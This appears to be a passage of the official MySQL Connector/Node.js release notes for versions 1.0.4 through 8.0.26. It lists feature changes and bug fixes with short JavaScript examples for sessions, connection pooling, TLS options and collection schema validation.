logo are trademarks or registered trademarks of Advanced Micro Devices. UNIX is a registered trademark of The Open Group. This software or hardware and documentation may provide access to or information about content, products, and services from third parties. Oracle Corporation and its affiliates are not responsible for and expressly disclaim all warranties of any kind with respect to third-party content, products, and services unless otherwise set forth in an applicable agreement between you and Oracle. Oracle Corporation and its affiliates will not be responsible for any loss, costs, or damages incurred due to your access to or use of third-party content, products, or services, except as set forth in an applicable agreement between you and Oracle. This documentation is NOT distributed under a GPL license. Use of this documentation is subject to the following terms: You may create a printed copy of this documentation solely for your own personal use. Conversion to other formats is allowed as long as the actual content is not altered or edited in any way. You shall not publish or distribute this documentation in any form or on any media, except if you distribute the documentation in a manner similar to how Oracle disseminates it (that is, electronically for download Changes in MySQL Connector/Node.js 8.0 Changes in MySQL Connector/Node.js 8.0.26 (2021-07-20, General Availability) - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - The TLSv1.0 and TLSv1.1 connection protocols are now deprecated and support for them is subject to removal in a future Connector/Node.js version. Using them emits warning level error. - Refactored logic that managed connections to the MySQL server from the high-level API logic to instead implement X DevAPI components like the Session interface. Bugs Fixed - Replaced all instances of the deprecated new Buffer() API for the now recommended alternatives (Buffer.alloc(), Buffer.allocUnsafe() and Buffer.from()) to avoid unnecessary warning messages. (Bug #32820267, Bug #103419) - For addOrReplaceOne() and replaceOne(), an error is now reported if the object provided as the second argument contains an "_id" property that does not match the value provided as the first argument. Previous behavior was unexpected. For example, when calling addOrReplaceOne('1', { _id: '2', name: 'foo' }), a document with "_id" = "1" was created if it did not exist, or if it did exist then any existing property called "name" was updated with the value "foo"; or one was created. (Bug #32763298) - Now allow SQL statement instances to be executed with different placeholder values. (Bug #32750927) - Now ensure that all floating point numbers are represented either by JavaScript numbers or by X DevAPI expression literals that are encoded as an X Protocol V_DOUBLE type; this to help avoid precision loss. (Bug #32687374, Bug #103124) - Prevent column metadata callback functions used as push-based cursors in the execute() method to be unnecessarily called more than once for each result set generated by a statement. (Bug #32631911) • Upon exceeding `connectTimeout` to a MySQL server, when a connection pool contained an idle connection that previously established a connection to same server and in the meantime the server became unresponsive but reachable; then an application would become unresponsive after trying to acquire a connection from the pool. (Bug #32205365) • If `connectTimeout` was exceeded as the client tried connecting to a server, the connection socket was not implicitly closed. (Bug #32200234) Changes in MySQL Connector/Node.js 8.0.25 (2021-05-11, General Availability) This release contains no functional changes and is published to align the version number with the MySQL Server 8.0.25 release. Changes in MySQL Connector/Node.js 8.0.24 (2021-04-20, General Availability) • Functionality Added or Changed • Important Change: Starting in this version, Connector/Node.js will ignore compatibility with End-of-life Node.js versions. If you are planning to upgrade, make sure you are using Node.js 12.0.0 or higher. • Connector/Node.js no longer guarantees compatibility with End-of-life Node.js versions. Today this means only Node.js 12.0.0 or higher are officially supported. • Improved the inline documentation and added functionality for users to generate it locally using JSDoc. See `CONTRIBUTING.md` for instructions on how to generate the HTML documentation. • Improved server disconnection handling of X Protocol connections now creates a log entry and returns an error message, as needed, after Connector/Node.js receives a connection-close notice from the server. Connector/Node.js detects three new types of warning notices. • `Connection idle notice`: This notice applies to a server connection that remains idle for longer than the relevant timeout setting. Connector/Node.js closes the connection when it receives the notice in an active session or while a new session is being created. An attempt to use the invalid session returns the “Connection closed. Reason: connection idle too long” error message. • `Server shutdown notice`: If a connection-close notice is received in a session as a result of a server shutdown, Connector/Node.js terminates the session with the "Connection closed. Reason: server shutdown" error message. All other sessions that are connected to the same endpoint are removed from the pool, if connection pooling is used. • `Connection killed notice`: If the connection being killed from another client session, Connector/Node.js closes the connection when it receives the notice in an active session or while a new session is being created. An attempt to use the invalid session returns the “Connection closed. Reason: connection killed by a different session” error message. • Bugs Fixed • The `getSession()` method now releases connections from a pool when an exception is raised while connecting to the server. (Bug #32366743, Bug #101928) • The `Session.getDefaultSchema()` method now returned ‘undefined’ instead of a valid Schema instance if a default schema is not set. (Bug #32136490) Changes in MySQL Connector/Node.js 8.0.23 (2021-01-18, General Availability) - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - Added custom debug functionality using the `NODE_DEBUG` environment variable to log and inspect low-level details for the application. Connector/Node.js now supports this feature and uses it, in particular, for logging information about the protocol messages (inbound and outbound) that are exchanged with the MySQL server. Messages sent by the client are available under the protocol:outbound scope, whereas messages sent by the server are available under the protocol:inbound scope. For example, the following writes a textual protobuf representation of every Mysqlx.Crud.Find and Mysqlx.ResultSet.Row message to stderr: ``` ``` Node 10 and later supports wildcard pattern matching, such as `NODE_DEBUG='protocol:inbound:*'` to filter out inbound messages and `NODE_DEBUG='*'` to show all logs. (Bug #31729043) - Added a deprecation warning to the Connector/Node.js installation process that future Connector/Node.js versions do not guarantee compatibility with End-of-life Node.js versions. If you are planning to upgrade, make sure you are using Node.js 12.0.0 or higher. Bugs Fixed - Stored values in a DOUBLE column were truncated when encoded and sent to the MySQL server. For example, a value such as 1.000001 would become 1. They are now encoded properly as double-precision floating numbers to support the full range of 64-bit floating point precision in MySQL columns with the DOUBLE data type (having in mind possible rounding approximations performed by the database engine). (Bug #31734504) - Improved consistency for method argument error handling when an argument is not set or uses JavaScript's "undefined". (Bug #31709879) - Refactored code to disable all debugging utilities when debug mode is off. (Bug #31584269) Changes in MySQL Connector/Node.js 8.0.22 (2020-10-19, General Availability) - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - Improved test execution configuration to better align with other connectors. For example, unified environment variable names (such as changing `NODE_TEST_MYSQL_HOST` to `MYSQLX_HOST`). See the Connector/Node.js documentation for usage information. Bugs Fixed - Non-BIGINT values stored in BIGINT columns were not decoded properly in result sets. (Bug #31686805, Bug #100324) • Fetched results from a SET column would only contain one value from the set. (Bug #31654667, Bug #100255) • Deprecated the dbPassword and dbUser property names; which were aliases to the password and user properties. Their usage now emits deprecation level errors. (Bug #31599660) • Added a SERVER_GONE error handler to avoid potential circular dependency warnings with Node.js >= 14.0.0. (Bug #31586107, Bug #99869) • Restricted the offset() method to the CollectionFind and TableSelect APIs, as described in the X DevAPI specification. Using offset() on other APIs yielded this error: "Error: The server has gone away". Instead, this intended behavior is available by using a combination of "sort()" or "orderBy()" and "limit()". (Bug #31418813) • The nextResult() method returned false against an empty result set, and now returns true. Alternatively, use hasData() to check if a result set has data. (Bug #31037211) • The column.getType() method now returns the stringified type identifier when before it returned its numeric value. For example, DATETIME is now returned instead of 12. (Bug #30922711) • Improved memory management for work performed by 3rd party APIs. (Bug #30845472) • Added support for lazy decoding of binary column metadata content. (Bug #30845366) Changes in MySQL Connector/Node.js 8.0.21 (2020-07-13, General Availability) • Functionality Added or Changed • Bugs Fixed Functionality Added or Changed • Creating a collection now supports options to enable validation of a JSON schema that documents must adhere to before they are permitted to be inserted or updated. The new ModifyCollection method allows updating the schema of an existing collection. In the createCollection method, the option to re-use an existing collection was renamed from ReuseExistingObject to reuseExisting. Schema validation is performed by the server, which returns an error message if a document in a collection does not match the schema definition or if the server does not support validation. If a given collection already exists in the database, the createCollection fails unless the reuseExisting property is enabled in an additional options object such as the following example: ```javascript const mysqlx = require('@mysql/xdevapi'); mysqlx.getSession('mysqlx://localhost:33060') .then(session => { return session.getSchema('mySchema').createCollection('myCollection', { reuseExisting: true }) }); ``` You can also use the options object to, for example, create a server-side document validation schema. For that, you can include a schema property matching a valid JSON schema definition within an outer validation object. You should also include the level property where STRICT enables it and OFF disables it. For example: ```javascript const mysqlx = require('@mysql/xdevapi'); const validation = { schema: { type: 'object', properties: { name: { type: 'string' } } }, level: mysqlx.Schema.ValidationLevel.STRICT } mysqlx.getSession('mysqlx://localhost:33060') .then(session => { return session.getSchema('mySchema').createCollection('myCollection', { validation }) }); ``` The same level property logic applies to modifyCollection. Here's an example to enable a JSON schema on an existing collection (or to update it if it already exists) using the STRICT validation level: ```javascript const mysqlx = require('@mysql/xdevapi'); const validation = { schema: { type: 'object', properties: { name: { type: 'string' } } }, level: mysqlx.Schema.ValidationLevel.STRICT } mysqlx.getSession('mysqlx://localhost:33060') .then(session => { return session.getSchema('mySchema').modifyCollection('myCollection', { validation }) }); ``` **Bugs Fixed** - Row values for columns of type BIGINT were not correctly decoded by Connector/Node.js. Upgrading the google-protobuf library (to 3.11.4) fixed this problem. (Bug #27570685) **Changes in MySQL Connector/Node.js 8.0.20 (2020-04-27, General Availability)** **Functionality Added or Changed** - Added two new connection options that evaluate during the TLS handshake to restrict the negotiated TLS protocols and ciphers; along with those configured on the server that can further restrict the final choices. These new options are `tls-versions` to define the allowed TLS protocol versions, and `tls-ciphersuites` for the allowed cipher suites. These definitions are comma-separated, and accepted by the `getSession()` and `getClient()` methods. - **tls-versions**: accepts one or more of the following: TLSv1, TLSv1.1, TLSv1.2, and TLSv1.3. Other values generate an error. - **tls-ciphersuites**: accepts IANA cipher suite names, as listed on IANA's [TLS Cipher Suites](https://www.iana.org/assignments/tls-cipher-suites/tls-cipher-suites.xhtml) page. Unsupported or unknown values are ignored. Example usage demonstrating both plain JavaScript and JSON configuration object formats: ```javascript # tls versions: mysqlx.getSession('mysqlx://root@localhost?tls-versions=[TLSv1,TLSv1.1,TLSv1.2,TLSv1.3]') mysqlx.getSession({ user: 'root', tls: { versions: ['TLSv1', 'TLSv1.1', 'TLSv1.2', 'TLSv1.3'] } }) # tls ciphersuites mysqlx.getSession('mysqlx://root@localhost?tls-ciphersuites=[DHE-RSA-AES128-GCM-SHA256,DHE-RSA-AES256-SHA384]') mysqlx.getSession({ user: 'root', tls: { ciphersuites: ['DHE-RSA-AES128-GCM-SHA256', 'DHE-RSA-AES256-SHA384'] } }) ``` - For X DevAPI applications, when creating a new connection, if the connection data contains several target hosts that have no explicit priority assigned, the behavior of the failover logic now is the same as if all those target hosts have the same priority. That is, the next candidate for making a connection is chosen randomly from the remaining available hosts. If two hosts have the same priority then one is chosen at random. **Changes in MySQL Connector/Node.js 8.0.19 (2020-01-13, General Availability)** **Functionality Added or Changed** - Added DNS SRV support. **Bugs Fixed** - For X DevAPI applications, when creating a new connection, if the connection data contains several target hosts that have no explicit priority assigned, the behavior of the failover logic now is the same as if all those target hosts have the same priority. That is, the next candidate for making a connection is chosen randomly from the remaining available hosts. If two hosts have the same priority then one is chosen at random. Using the `mysqlx+srv` scheme-extension in a connection string (or enabling the `resolveSrv` option in a connection configuration object) allows to automatically resolve any SRV record available in a target DNS server or service discovery endpoint. **Bugs Fixed** - Improved the CRUD API error messages. (Bug #30423556) - The `getAffectedItemsCount()` method did not function on result sets in v8.0.18. (Bug #30401962) - The `Collection.existsInDatabase()` method did not function. (Bug #30401432) **Changes in MySQL Connector/Node.js 8.0.18 (2019-10-14, General Availability)** - **Functionality Added or Changed** - **Bugs Fixed** **Functionality Added or Changed** - Implemented the X DevAPI cursor model, which includes adding methods such as `fetchOne()`, `fetchAll()`, `getColumns()`, `hasData()`, and `nextResult()`. For additional details, see the X DevAPI documentation about Working with Result Sets. Previously, handling result set data or metadata required specific callback functions when calling `execute()`. With this new interface, the connector automatically switches to this new pull-based cursor model if these callback functions are not provided. - Improved `Collection.getOne()` performance by making the underlying lookup expression to only parse once, and having subsequent `Collection.getOne()` calls utilize server-side prepared statements. - Added support to generate test coverage reports by running the likes of `npm run coverage`; see the bundled `CONTRIBUTING.md` for details and requirements. This was added to help users contribute patches. - Added linter check support to help enforce coding style and convention rules for new contributions by running the likes of `npm run linter`; see the bundled `CONTRIBUTING.md` for details. **Bugs Fixed** - Added support for assigning Node.js Buffer values to expression or SQL query placeholders. (Bug #30163003, Bug #96480) - MySQL column binary values (such as BLOB, BINARY, and VARBINARY) can now convert to proper Node.js Buffer instances. (Bug #30162858, Bug #96478) - Inserting a raw Node.js Buffer value into MySQL BLOB field resulted in an error as the `content_type` was improperly set; it's now handled as a raw byte string by the X Plugin. (Bug #30158425) - The padding characters used for fixed-lengthed columns now map to the collation code provided by the column metadata; previously it was based on the JavaScript native type of the values. (Bug #30030159) **Changes in MySQL Connector/Node.js 8.0.17 (2019-07-22, General Availability)** - **Functionality Added or Changed** - **Bugs Fixed** Functionality Added or Changed • Document fields containing arrays can now be indexed by setting array to true in an index fields definition. • Added support for the OVERLAPS and NOT OVERLAPS operators; which is equivalent to the SQL JSON_OVERLAPS() function. These binary operators are used with a general "expression operator expression" syntax; and the expressions return a JSON array or object. Example usage: `[1, 2, 3] overlaps $.list` • Added support for the utf8mb4_0900_bin collation added in MySQL Server 8.0.17. • The bundled README.md file was split and reformatted with some content moved into the new README.txt and CONTRIBUTING.md files. Bugs Fixed • The SQL CAST function did not work as a valid lookup expression. (Bug #29807792) • Added backtick support for table column identifiers in valid expressions. (Bug #29789818) • The DIV binary and NOT unary operators are now allowed; and are case-insensitive. (Bug #29771833, Bug #29771027) • Collection.find() now supports the JavaScript Date type. (Bug #29766014) • The collection.dropIndex method now silently fails if the index does not exist, as expected, when before it generated a "Can't DROP" error. (Bug #29765589) • Column.getCollationName() would potentially return the incorrect name. (Bug #29704185) Changes in MySQL Connector/Node.js 8.0.16 (2019-04-25, General Availability) • X DevAPI Notes • Functionality Added or Changed • Bugs Fixed X DevAPI Notes • Connector/Node.js now supports connection attributes as key-value pairs that application programs can pass to the server. Connector/Node.js defines a default set of attributes, which can be disabled or enabled. In addition to these default attributes, applications can also provide their own set of custom attributes. • Specify connection attributes as a connection-attributes parameter in a connection string, or by using the connectionAttributes property using either a plain JavaScript object or JSON notation to specify the connection configuration options. The connection-attributes parameter value must be either empty (the same as specifying true), a Boolean value (true or false to enable or disable the default attribute set), or a list of zero or more key=value pair specifiers separated by commas (to be sent in addition to the default attribute set). Within a list, a missing key value evaluates as NULL. The connectionAttributes property allows passing user-defined attributes to the application using either a plain JavaScript object or JSON notation to specify the connection configuration options. Define each attribute in a nested object under connectionAttributes where the property names matches the attribute names, and the property values match the attribute values. Unlike `connection-attributes`, and while using plain JavaScript objects or JSON notation, if the `connectionAttributes` object contains duplicate keys then no error is thrown and the last value specified for a duplicate object key is chosen as the effective attribute value. Examples: Not sending the default client-defined attributes: ```javascript mysqlx.getSession('{ "user": "root", "connectionAttributes": false }') ``` ```javascript mysqlx.getSession('mysqlx://root@localhost?connection-attributes=false') ``` ```javascript mysqlx.getSession({ user: 'root', connectionAttributes: { foo: 'bar', baz: 'qux', quux: '' } }) ``` ```javascript mysqlx.getSession('mysqlx://root@localhost?connection-attributes=[foo=bar,baz=qux,quux]') ``` Application-defined attribute names cannot begin with `_` because such names are reserved for internal attributes. If connection attributes are not specified in a valid way, an error occurs and the connection attempt fails. For general information about connection attributes, see [Performance Schema Connection Attribute Tables](#). **Functionality Added or Changed** - Optimized the reuse of existing connections through `client.getSession()` by only re-authenticating if required. - For X DevAPI, performance for statements that are executed repeatedly (two or more times) is improved by using server-side prepared statements for the second and subsequent executions. This happens internally; applications need take no action and API behavior should be the same as previously. For statements that change, repreparation occurs as needed. Providing different data values or different `offset()` or `limit()` values does not count as a change. Instead, the new values are passed to a new invocation of the previously prepared statement. **Bugs Fixed** - Idle pooled connections to MySQL Server were not reused, and instead new connections had to be recreated. (Bug #29436892) - Executing `client.close()` would not close all associated connections in the connection pool. (Bug #29428477) - `connectTimeout` instead of `maxIdleTime` determined whether idle connections in the connection pool were reused rather than creating new connections. (Bug #29427271) - Released connections from the connection pool were not being reset and reused; instead new connections were being made. (Bug #29392088) - Date values in documents were converted to empty objects when inserted into a collection. (Bug #29179767, Bug #93839) - A `queueTimeout` value other than 0 (infinite) prevented the acquisition of old released connections from the connection pool. (Bug #29179372, Bug #93841) **Changes in MySQL Connector/Node.js 8.0.15 (2019-02-01, General Availability)** This release contains no functional changes and is published to align version number with the MySQL Server 8.0.15 release. Changes in MySQL Connector/Node.js 8.0.14 (2019-01-21, General Availability) - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - Removed deprecation notices from the count() methods. - Setting the default schema via the connection now sets the default schema on the server; meaning, subsequent queries executed using session.sql() do not need to specify the schema. Bugs Fixed - Setting the default schema with the connection URI using a schema name that contained special characters (that would need to be percent-encoded) would result in the percent-encoded name being used instead of the original one (e.g. "%25%26%5E%5E_" instead of "%&^*_"). (Bug #28990682) - An error is once again thrown if sslOption's 'ca' is different than the certificate authority used to sign the server certificate, or if the server certificate has been revoked. (Bug #28977649) - Attempting to use false-like values such as 0, false, null, and undefined would emit errors when updating or inserting documents in a collection or rows in a table. Additionally, now boolean values become numeric values (true=1, false=0) while null and undefined are converted to MySQL's NULL type. (Bug #28970727, Bug #93315) - Collection.existsInDatabase() always returned true if any other collection existed in the database. (Bug #28745240) - Configuring a default schema from the connection string would create the schema if it did not exist. Now, an "Unknown database" error is thrown instead. - An unexpected notice could result in an unexpected halt of the client. Changes in MySQL Connector/Node.js 8.0.13 (2018-10-22, General Availability) - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - To go with the existing asynchronous mysqlx.getSession(conn_str) method, a new synchronous mysqlx.getClient(conn_str, options) method was added that creates a connection pool handler that provides an asynchronous getSession() method to create and retrieve connections from the pool. The collection pooling options are: - enabled: enables or disables connection pooling; boolean and defaults to true. - maxSize: maximum number of connections available in the pool; positive integer and defaults to 25. - maxIdleTime: maximum number of milliseconds a connection can be idle in the queue before being closed; integer >= 0 and defaults to 0 (infinite). - queueTimeout: maximum number of milliseconds a request will wait for a connection to become available; integer >= 0 and defaults to 0 (infinite). This is different than connectTimeout that’s used for non-pooling. In a pooling scenario, there might already be connections in the pool and queueTimeout controls how long to wait for a connection in the pool. Example usage: ```javascript var mysqlx = require('@mysql/xdevapi') var client = mysqlx.getClient( { user: 'root', host: 'localhost', port: 33060 }, { pooling: { enabled: true, maxIdleTime: 5000, maxSize: 25, queueTimeout: 20000 } } ); client.getSession() .then(session => { console.log(session.inspect()) return session.close() // the connection becomes idle in the client pool }) .then(() => { return client.getSession() }) .then(session => { console.log(session.inspect()) return client.close() // closes all connections and destroys the pool }); ``` Closing a session attached to the pool makes the connection available in the pool for subsequent `getSession()` calls, while closing (destroying) the pool effectively closes all server connections. - Added a connection timeout query parameter. This defines the length of time (milliseconds) the client waits for a MySQL server to become available in the given network addresses. It was added to both the `mysqlx.getSession()` (non-pooling sessions) and `mysqlx.getClient()` (pooling sessions) interfaces. This option defaults to 10000 (10 seconds). The value 0 disables the timeout so the client will wait until the underlying socket (platform dependent) times out. Similar to other option formatting rules, this option defined as `connection-timeout` (kabab-style) for URI definitions and `connectionTimeout` (camelCase) for plain JavaScript configuration objects. Example usage: ```javascript const mysqlx = require('@mysql/xdevapi'); var client = mysqlx.getClient('root@localhost?connect-timeout=5000') client.getSession() .catch(err => { console.log(err.message) // "Connection attempt to the server was aborted. Timeout of 5000 ms was exceeded." }) // Or const mysqlx = require('@mysql/xdevapi'); var client = mysqlx.getClient('mysqlx://root:passwd@[localhost:33060, 127.0.0.1:33060]?connect-timeout=5000') client.getSession() .catch(err => { // connection could not be established after 10 seconds (5 seconds for each server) console.log(err.message); // All server connection attempts were aborted. Timeout of 5000 ms was exceeded. }); ``` In a multi-host scenario, the `connect-timeout` value applies to each individual host. **Bugs Fixed** - Improved the handling of X Protocol global notices by properly logging and then ignoring non-fatal errors, and making the connection unusable for subsequent operations in the case of a fatal error. (Bug #28653781) MySQL Connector/Node.js Release Notes - Calling `getCollationName()` on non-textual fields, such as INT, threw the following error: "TypeError: Cannot read property 'collation' of undefined". (Bug #28608923) - The `fields()` method did not function with valid expressions generated by the `expr()` method. (Bug #28409639) - The returned `Session.inspect()` object now includes the 'user' property in addition to the 'dbUser' property but containing the same value. (Bug #28362115) Changes in MySQL Connector/Node.js 8.0.12 (2018-07-27, General Availability) - **X DevAPI Notes** - **Bugs Fixed** **X DevAPI Notes** - To increase compliance with the X DevAPI, these Connector/Node.js changes were made: - **Collection**: Deprecated: `count()`. Changed: `getSchema()` now returns a Schema instance instead of the schema name. - **CollectionModify**: Deprecated: `limit(x, y)`'s second parameter, and `arrayDelete()`. - **CollectionFind**: Deprecated: `limit(x, y)`'s second parameter. Added: `limit(x).offset(y)`. - **CollectionRemove**: Deprecated: `limit(x, y)`'s second parameter. - **Table**: Deprecated: `count()` and `insert(Document)` API. Updated: `getSchema()` now returns a Schema instance instead of the Schema name. Removed: `as()`. - **TableSelect**: Deprecated: `limit(x, y)`'s second parameter. Added: `limit(x).offset(y)`. - **TableDelete**: Deprecated: `limit(x, y)`'s second parameter, and `delete(x)`'s parameter in favor of using `where(x)` instead. - **TableUpdate**: Deprecated: `limit(x, y)`'s second parameter, and `update(x)`'s parameter in favor of using `where(x)` instead. - **SqlExecute**: Deprecated: `sqlExecute()` in favor of `sql()`. Added: `bind()`. - **Column**: Added `isNumberSigned()`, `getCollationName()`, `getCharacterSetName()`, and `isPadded()` **Bugs Fixed** - The Promise returned by the `session.sql().execute()` method resolved to a plain JavaScript object rather than a proper Result instance. This meant it lacked access to the API with methods such as `getAffectedItemsCount()` and `getWarnings()`. (Bug #28146988) - Retrieving rows with NULL fields would emit an unexpected AssertionError. (Bug #27978594) - The `session.close()` method is now asynchronous by returning a JavaScript Promise, when before it returned immediately. (Bug #27893001) - The right-padding mechanism was improved. (Bug #27839295, Bug #28275595, Bug #91503) - While calling `getSession()` without arguments yields an "Invalid parameter." error, passing in '{}' yielded a "Cannot read property 'length' of undefined." error. Now '{}' is allowed, and `getSession()` defaults to using " as the user name. (Bug #27730748) - Improved performance for expression parsing and protocol message encoding. **Changes in MySQL Connector/Node.js 8.0.11 (2018-04-19, General Availability)** - **Functionality Added or Changed** - **Bugs Fixed** **Functionality Added or Changed** - The protobuf.js library was replaced with the official google-protobuf npm package. - Added `NOWAIT` and `SKIP_LOCKED` support to the `lockShared()` and `lockExclusive()` methods. Example usage: `lockShared(mysqlx.LockContention.SKIP_LOCKED)`. - Added the X DevAPI SHA256_MEMORY authentication mechanism. - Auto-generated document `_id` values generated by the MySQL server, introduced in MySQL Server 8.0.11, are now supported. **Bugs Fixed** - Running a select query against a table containing BIGINT values and using those values as filtering criteria could fail to function. This was because those values were converted to JavaScript numbers when encoding the protobuf message, and lost precision since the maximum safe integer in JavaScript is $2^{53} - 1$. (Bug #27570761) - Row values from columns using the `FLOAT` type were not rounded according to the maximum number of displayable decimal digits defined by the schema. For example, a column with type `FLOAT(3,2)` containing a value of 1.23456789 would display as 1.2300000190734863 instead of the expected 1.23. (Bug #27570541) - Row values from columns using the `BIT` data type were decoded as their sign integer counterpart instead of unsigned values. For example, `b'111'` was decoded as -4 instead of 7. (Bug #27570462) - Row values for columns of any type of UNSIGNED integer (TINYINT, SMALLINT, MEDIUMINT, INT or BIGINT) were being interpreted by the connector as their SIGNED integer value counterpart. (Bug #27570342) - The `sort()` method was added to the following operations: CollectionFind, CollectionRemove, and CollectionModify. (Bug #27429922) - While adding a document, the expression parser was rejecting valid escaped literally strings that constituted properties of the document, and it threw unexpected errors. (Bug #27429852) - Messages split into multiple fragments (either because they exceeded the MTU or the maximum size of V8 buffers) were improperly reconstructed and could not be decoded. This behavior would throw an error similar to "Uncaught SyntaxError: Unexpected token". (Bug #27429429) - Several methods returned plain JavaScript objects that now return iterable arrays. `Schema.getCollections()` now returns an array of Collection instances, `Schema.getTables()` now returns an array of Table instances, and `Session.getSchemas()` now returns an array of Schema instances. (Bug #27294362, Bug #27221114) - The expression parser was executed every time a document was added but now requires `mysqlx.expr()` to be explicitly called. For example, before `collection.add({ name: 'foo' })` would parse the "name" property. Now, to parse it, use `collection.add({ name: mysqlx.expr("foo") })`. (Bug #27177864) **Changes in MySQL Connector/Node.js 8.0.10 (Skipped version number)** There are no release notes for this skipped version number. Changes in MySQL Connector/Node.js 8.0.9 (2018-01-30, Release Candidate) - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - Improved the UUID generation algorithm to implement the design improvements suggested in RFC 4122. Before the chance of duplicated values during a small time frame was too high. (Bug #26120588) - **X DevAPI:** In the process of refining the definition of the X DevAPI to cover the most relevant usage scenarios, the following API components have been removed from the X DevAPI implementation for Connector/Node.js: - API components that support session configurations, such as the `SessionConfig` and `SessionConfigManager` classes. - The `mysqlx.config` namespace and all methods of the namespace, `save()`, `get()`, `list()`, `delete()`, and more. - The `createTable()`, `foreignKey()`, `dropTable()`, `createView()`, `dropView()`, and `alterView()` methods from the `Schema` class. - The following methods were added: - `Session.setSavePoint`: accepts a name or generates one of the form connector-nodejs-{uuid}, and returns a Promise. - `Session.releaseSavePoint`: releases a specific savepoint. - `Session.rollbackTo`: rollbacks to a specified savepoint. - The `createIndex()` method was added to the Collection API. Bugs Fixed - The expression parser used by the CRUD API was replaced with a new implementation written in pure JavaScript. This fixes several grammar related bugs. (Bug #26729768, Bug #26636956, Bug #25036336, Bug #23148246) - The `CollectionFind.fields()` method was updated to support flexible parameters to follow standard X DevAPI conventions. (Bug #22084545) Changes in MySQL Connector/Node.js 8.0.8 (2017-09-28, Development Milestone) - Functionality Added or Changed - Bugs Fixed Functionality Added or Changed - The following Collection methods were added: `replaceOne()`, `addOrReplaceOne()`, `getOne()`, `removeOne()`. For details, see Tutorial: Working with Documents. - Added row locking support by adding the `lockExclusive()` and `lockShared()` methods to the `CollectionFind` and `TableSelect` classes. For additional information, see Tutorial: Row Locking. MySQL Connector/Node.js Release Notes - Extended Authentication support, including SHA-256. For additional information, see Tutorial: Secure Sessions. - Added "contains" operator support for objects and arrays. This allows additional types of expressions such as `$x IN [x, y, z]` and `$x IN { "x": "foo", "y": "bar" }`, and also referencing field names that map to arrays and objects, such as `$someArray IN $.field` and `$someObject IN $.field`. **Bugs Fixed** - Added support for the parentheses-based IN syntax, such as `$IN (x, y, z, ...)`, as defined in the X DevAPI. (Bug #26666817) **Changes in MySQL Connector/Node.js 8.0.7 (2017-07-10, Development Milestone)** MySQL Connectors and other MySQL client tools and applications now synchronize the first digit of their version number with the (highest) MySQL server version they support. This change makes it easy and intuitive to decide which client version to use for which server version. Connector/Node.js 8.0.7 is the first release to use the new numbering. It is the successor to Connector/Node.js 1.0.6. - **Functionality Added or Changed** - **Bugs Fixed** **Functionality Added or Changed** - It is no longer permitted to pass an empty search condition, such as the NULL value or an empty string, to the `Collection.modify()` and `Collection.remove()` methods. - A number of changes have been implemented for the "drop" methods: - The “drop” methods are now made available at the same level as the corresponding “create” methods. For example, the `dropCollection()` and `dropTable()` methods have been removed from the `XSession` class (which has now been consolidated into the `Session` class) and moved under the `Schema` class; under the same principle, the `drop()` method has been removed from the `Collection` and `Table` classes. - The “drop” methods now succeed even if the objects to be dropped do not exist. - `dropView()` is now asynchronous and behaves exactly like `dropTable()` and `dropCollection()` by implicitly executing the operation and returning a promise that will hold the result of the drop operation. - A configuration handler interface, `mysqlx.config`, has been created for managing persisted session configurations. See MySQL Connector/Node.js with X DevAPI for details. - There are a few changes with regard to encrypted connections to MySQL servers: - Connections are now encrypted by default. - The connection option `ssl-enable` has been replaced by the `ssl-mode` option, which has `DISABLED`, `REQUIRED` (default), and `VERIFY_CA` as its permitted values. - Using the `ssl-crl` option requires the use of the `ssl-ca` option and that `ssl-mode=VERIFY_CA`; this is due to an internal requirement of the Node.js core platform. - Consolidated the `BaseSession`, `NodeSession`, and `XSession` into a single `Session` class. The following related changes were also made: • The mysqlx.getNodeSession() method is renamed to getSession and returns a Session object. • The DatabaseObject.getSession() now returns a Session object. • A new client-side failover feature has been implemented: when creating a new connection, multiple hosts now can be specified in the connection string, and Connector/Node.js tries each host until a successful connection is established or until all hosts have been tried. See Tutorial: Getting Started for details • Connector/Node.js now supports connecting to a local server using Unix sockets. See Tutorial: Getting Started for details. • The format of the document ID value generated when adding a document to a collection has changed. It is still a string of 32 hexadecimal digits based on a UUID, but the order of digits has been changed to match the requirement of a stable ID prefix. **Bugs Fixed** • It was not possible to create a new session for a user with a SHA256 password via the PLAIN authentication mechanism. (Bug #26117627) • The handling of large JSON arrays was problematic, and would cause an exception to be thrown. (Bug #26084604) • Attempting to use bind when removing a document from a collection would not succeed, and an exception would be thrown. (Bug #26029551) • The Table.update() implementation did not require a SearchConditionStr parameter, and not using this parameter could result in updating all the rows of a given table. A client-side exception is now thrown if the SearchConditionStr parameter is undefined or empty. (Bug #25993174) • The Table.delete() implementation did not require a SearchConditionStr parameter, and not using this parameter could result in deleting all the rows of a given table. A client-side exception is now thrown if the SearchConditionStr parameter is undefined or empty. (Bug #25992969) **Changes in MySQL Connector/Node.js 1.0** **Changes in MySQL Connector/Node.js 1.0.6 (2017-03-07, Development Milestone)** • Functionality Added or Changed • Bugs Fixed **Functionality Added or Changed** • Added support for validating the server certificate with a given CA and/or CRL. • Expanded support for creating TLS sessions with a URI or connection string. • Added support for creating IPv6 sessions with a URI or connection string. • Added support for single array or multiple argument function calls on the public API. **Bugs Fixed** • Fixed issues with collection.bind(). (Bug #23236379) • Expanded support to create sessions based on unified connection strings. This also fixed parsing issues on URI and connection string corner-cases. • Updated behavior of `collection.add([])` to avoid confusing exceptions. Providing an empty array as an argument should always succeed, even without an active connection to the server. Changes in MySQL Connector/Node.js 1.0.5 (2016-11-14, Development Milestone) Functionality Added or Changed • Added APIs for Transaction handling, which includes the `session.startTransaction()`, `session.commit()` and `session.rollback()` functions. • Added a Table creation API. Changes in MySQL Connector/Node.js 1.0.4 (2016-10-10, Development Milestone) • Functionality Added or Changed • Bugs Fixed Functionality Added or Changed • Changed package name from `mysqlx` to `@mysql/xdevapi`. • The connector can be installed into your project using Node.js's `npm` tool. Install from the download file by issuing: ```sh npm install mysql-connector-nodejs-1.0.4.tar.gz ``` Or install directly from the npm repository by issuing: ```sh npm install @mysql/xdevapi ``` For more information on `npm` see [http://npmjs.com](http://npmjs.com). Bugs Fixed • The Connector/Node.JS version number can now be retrieved from the API. For example, `"ver=require('@mysql/mysqlx/package').version;`. (Bug #24571220) • Added the `Schema.getCollectionAsTable()` method. • Added the `Collection.count()` and `Table.count()` methods. • Added support for the URI type string format for connections. • Added 